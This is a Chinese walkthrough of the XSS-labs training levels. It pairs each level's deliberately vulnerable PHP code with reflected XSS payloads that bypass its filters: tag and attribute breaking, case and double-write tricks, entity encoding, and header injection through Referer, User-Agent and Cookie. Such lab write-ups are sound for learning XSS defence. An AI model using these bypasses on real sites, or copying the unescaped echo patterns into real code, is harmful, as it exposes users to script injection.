XSS-labs通关笔记
n3ym4r

XSS-labs通关笔记

level 1

我们可以看到这里将name的参数值,插入到了

中,这里就是反射型xss,直接给name重新赋值。

服务器并没有进行任何的过滤,我们可以看看服务器端

服务器端源代码

</script>

<title>欢迎来到level1</title>

</head>

<body>

<h1 align=center>欢迎来到level1</h1>

<?php

ini_set("display_errors", 0);

$str = $_GET["name"]; //这里将name赋值给了str

echo "<h2 align=center>欢迎用户".$str."</h2>"; //这里直接将str插入了标签之间,导致反射型xss形成

**?>**

<center><img src=level1.png></center>

<?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

</body>

</html>

level 2

可以发现,通过get传参提交,经过服务器的动态处理之后又会将参数keyword的值插入到<h2> </h2>标签之中以及

添加到<input>标签中的value属性的值内。

我们尝试用上关的payload提交

可以看到,在<h2> </h2>标签之中的恶意代码被编码了,其中<>都被编码成了html字符实体,猜测在服务器端用htmlspecialchars()函数对keyword参数的值进行了处理,接着往下看可以看到插入到value参数值中的恶意代码并没有被编码而是直接原样返回,但是问题是这里的js代码在标签属性值中,浏览器是无法执行的,既然上面的恶意代码被编码了,那么只能从属性值中的恶意代码处进行突破了。

要想浏览器执行这里的弹窗代码,只需要将属性的引号和标签先闭合就可以了

用”>闭合前面的<input,再用//将后面的”注释掉。

payload:n3ym4r"><script>alert('xss')</script>//

服务器端源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];//将get方式传递到服务器端的keyword参数的值赋给str变量

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

//用htmlspecialchars()函数对变量str进行处理之后显示到网页上

<form action=level2.php method=GET>

<input name=keyword value="'.$str.'">//直接将变量值插入到了<input>标签的value属性值中

<input type=submit name=submit value="搜索"/>

</form>

</center>';

?>

<center><img src=level2.png></center>

<?php

echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";

?>

level 3

简单测试,发现与第二关相比,这里将属性值这里也进行了htmlspecialchars()函数处理。

这里,无法使用标签,因为标签都是带有<>符号的,就会被转义。但该函数不会转义单引号,可以采用事件闭合标签。

payload

' onclick='alert(1)//当单击鼠标时运行脚本

' onmouseover='alert(1)//当鼠标指针移至元素之上时运行脚本

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>

<form action=level3.php method=GET>

<input name=keyword value='".htmlspecialchars($str)."'>

<input type=submit name=submit value=搜索 />

</form>

</center>";

?>

htmlspecialchars ()

将特殊字符转换为html实体

level 4

可以看到<>符号被替换成了空

但是事件不需要用到<>,所以直接用鼠标事件插入

payload

" onmouseover="alert(/xss/)

我们还是同样需要闭合他原来的语句。

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str2=str_replace(">","",$str);

$str3=str_replace("<","",$str2);//将<>替换为空

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level4.php method=GET>

<input name=keyword value="'.$str3.'">

<input type=submit name=submit value=搜索 />

</form>

</center>';

?>

level 5

源代码

<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("<script","<scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level5.php method=GET>

<input name=keyword value="'.$str3.'">

<input type=submit name=submit value=搜索 />

</form>

</center>';

?>

可以看到将<script替换为了<scr_ipt,同时也将on替换为了o_n,这使得我们无法通过<script>标签或触发事件来执行js代码,那么我们可以换个标签,使用a标签的js伪协议实现href属性支持javascript:伪协议构造poc 产生一个链接

payload

"> <a href=javascript:alert('xss') > xss</a> //

level 6

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str2=str_replace("<script","<scr_ipt",$str);//限制<script恶意代码

$str3=str_replace("on","o_n",$str2);//限制带on的事件

$str4=str_replace("src","sr_c",$str3);//限制图片标签,<img src=111 onerror=alert(‘xss’)>

$str5=str_replace("data","da_ta",$str4);//data:对字符编码的一种设定

$str6=str_replace("href","hr_ef",$str5);//限制通过在href属性中插入js代码来点击执行

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level6.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>';

?>

可以看到做了很多限制,但是都是判断的整个字符,我们可以大小写绕过

payload

"><sCrIpt>alert(/xss/)</ScRipt>

level 7

源代码

<?php

ini_set("display_errors", 0);

$str =strtolower( $_GET["keyword"]);

$str2=str_replace("script","",$str);//将script替换为空,以下同理

$str3=str_replace("on","",$str2);

$str4=str_replace("src","",$str3);

$str5=str_replace("data","",$str4);

$str6=str_replace("href","",$str5);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form action=level7.php method=GET>

<input name=keyword value="'.$str6.'">

<input type=submit name=submit value=搜索 />

</form>

</center>';

?>

因为只会对整个字符串进行一次替换,所以我们可以使用双写绕过

payload

"><scscriptript>alert(1)</scrscriptipt>

level 8

源代码

<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

echo '<center>

<form action=level8.php method=GET>

<input name=keyword value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />

</form>

</center>';

?>

<?php

echo '<center><BR><a href="'.$str7.'">友情链接</a></center>'; //在这里进行拼接

?>

<center><img src=level8.jpg></center>

<?php

echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";

?>

可以看到将大部分能用到的字符都做了破坏,看到友情链接那里,我们可以使用编码的方式绕过

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#120;&#115;&#115;&#39;&#41;

level 9

源代码

<?php 

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","scr_ipt",$str);

$str3=str_replace("on","o_n",$str2);

$str4=str_replace("src","sr_c",$str3);

$str5=str_replace("data","da_ta",$str4);

$str6=str_replace("href","hr_ef",$str5);

$str7=str_replace('"','&quot',$str6);

echo '<center>

<form action=level9.php method=GET>

<input name=keyword  value="'.htmlspecialchars($str).'">

<input type=submit name=submit value=添加友情链接 />

</form>

</center>';

?>

<?php

if(false===strpos($str7,'http://'))  

{

 echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';

   }

else

{

 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';

}

?>

<center><img src=level9.png></center>

<?php 

echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";

?>

if(false===strpos($str7,’http://‘)) 判断是否包含http://然后返回,这里还是可以通过编码来绕过

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

level 10

可以看到有三个input标签,我们得测试出哪个表单可以突破

构造语句:?keyword=<script>alert('xss')</script>&t_link=" type="text"&t_history=" type="text"&t_sort=" type="text"

t_sort时,出现一个输入框,所以我们可以确定了

payload

?keyword=<script>alert('xss')</script>&t_sort=" type="text" onclick="alert('xss')

源代码

我们可以再看看源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str11 = $_GET["t_sort"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.$str33.'" type="hidden">

</form>

</center>';

?>

可以看到,我们的猜测没错,值得注意的是,这里会将<>替换为空,不能通过闭合input,引入新的标签来触发,只能通过事件来触发。

level 11

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_REFERER'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_ref" value="'.$str33.'" type="hidden">

</form>

</center>';

?>

这一关卡和上面的一关非常的像多了一个input表单的信息,在服务器端还将请求头中的referer头的值赋给了str11这个变量,$_SERVER[‘HTTP_REFERER’] #链接到当前页面的前一页面的 URL 地址,也就是说这里可以做点文章。在将变量值中的<和>删除之后就会插入到t_ref这个标签的value属性值中。而上一关的t_sort标签虽然也能接收并显示参数值,但是这个参数值是要用htmlspecialchars()函数处理的。

这里,我们就可以抓包,将数据包中的referer改为我们的恶意代码

payload

referer:"type="text" onclick="alert('xss')

level 12

查看网页源码,我们发现,有一个和ua头一样的参数值,我们可以大胆猜测,这关测试点就在ua头,抓包改包试试

成功

payload

User-Agent: "type="text" onclick="alert('xss')

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_SERVER['HTTP_USER_AGENT'];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_ua" value="'.$str33.'" type="hidden">

</form>

</center>';

?>

将keyword参数的值赋给了变量str

将t_sot参数的值赋给了变量str00,

将请求中User-Agent头的值赋给了变量str11,。

将变量str11的值中存在的<和>删除之后直接插入到了t_ua标签的value

属性值中。

在这里变量str和str00的值都是需要被htmlspecialchars()函数处理过

level 13

13关猜测还是与数据头有关

在这里插入图片描述

可以看到,是将cookies里的值放入了t_cook中,修改为恶意代码

payload

Cookie: user=1" type="text" onclick="alert(1)"

源代码

<?php

setcookie("user", "call me maybe?", time()+3600);

ini_set("display_errors", 0);

$str = $_GET["keyword"];

$str00 = $_GET["t_sort"];

$str11=$_COOKIE["user"];

$str22=str_replace(">","",$str11);

$str33=str_replace("<","",$str22);

echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>

<form id=search>

<input name="t_link" value="'.'" type="hidden">

<input name="t_history" value="'.'" type="hidden">

<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">

<input name="t_cook" value="'.$str33.'" type="hidden">

</form>

</center>';

?>

level 14

修改iframe调用的文件来实现xss注入(但因为iframe调用的文件地址失效,无法进行测试

level 15

可以看到我们提交的src参数被插入到了<span>标签的class属性值中,但是前面还有ng-include这样的字符。

ng-includeangular js中的东西,其作用相当于php的include函数。这里就是将1.gif这个文件给包含进来。

ng-include相关知识点

1、ng-include 指令用于包含外部的 HTML文件。

2、包含的内容将作为指定元素的子节点。

3、ng-include 属性的值可以是一个表达式,返回一个文件名。

4、默认情况下,包含的文件需要包含在同一个域名下。

特别值得注意的几点如下:

1.ng-include,如果单纯指定地址,必须要加引号

2.ng-include,加载外部html,script标签中的内容不执行

3.ng-include,加载外部html中含有style标签样式可以识别

构造函数
?src=’level1.php?name=
因为这里参数值算是一个地址,所以需要添加引号。

但是level1.php不是一个php文件吗?

这里解释一下,这是因为我们不是单纯的去包含level1.php,而是在后面添加了name参数值的。这就有点像是在访问了该参数值中地址之后把它响应在浏览器端的html文件给包含进来的意思。

payload

?src='level1.php?name=<img src=1 onerror=alert(1)>'

源代码

<?php

ini_set("display_errors", 0);

$str = $_GET["src"];

echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';

?>

level 16

可以看到,我们输入的值被插到了

标签中,我们尝试直接弹窗,发现很多字符被编码,来看看源代码

源代码

<?php

ini_set("display_errors", 0);

$str = strtolower($_GET["keyword"]);

$str2=str_replace("script","&nbsp;",$str);

$str3=str_replace(" ","&nbsp;",$str2);

$str4=str_replace("/","&nbsp;",$str3);

$str5=str_replace(" ","&nbsp;",$str4);

echo "<center>".$str5."</center>";

?>

<center><img src=level16.png></center>

<?php

echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";

?>

可以看到,将参数值中的script替换成&nbsp;,将参数值中的空格也替换成&nbsp;,将参数值中的/符号替换成&nbsp;

与我们的猜想一致

绕过思路:可以用回车来将它们分开。

而且这里/符号也被编码了,所以我们需要的是一个不需要闭合的标签,比

如之前所用过的

回车可以用url编码%0a表示

payload

<img%0Asrc=1%0Aonerror=alert(1)>

level 17

可以看到提交的参数插入到了标签的src属性中,尝试直接弹窗,发现转义了很多符号。

尝试构造事件弹窗,可以看到这里的src没有用引号闭合,我们就不用管

payload

onclick=alert('xss')

onmousedown='alert(1)'

源代码

<?php·

ini_set("display_errors", 0);

echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";

?>

可以看到和我们的猜测一致

level 18

与17关一致

level 19

与之前一致,不过用了引号将src闭合,所以不能直接在后面添加语句,我们可以通过F12控制台添加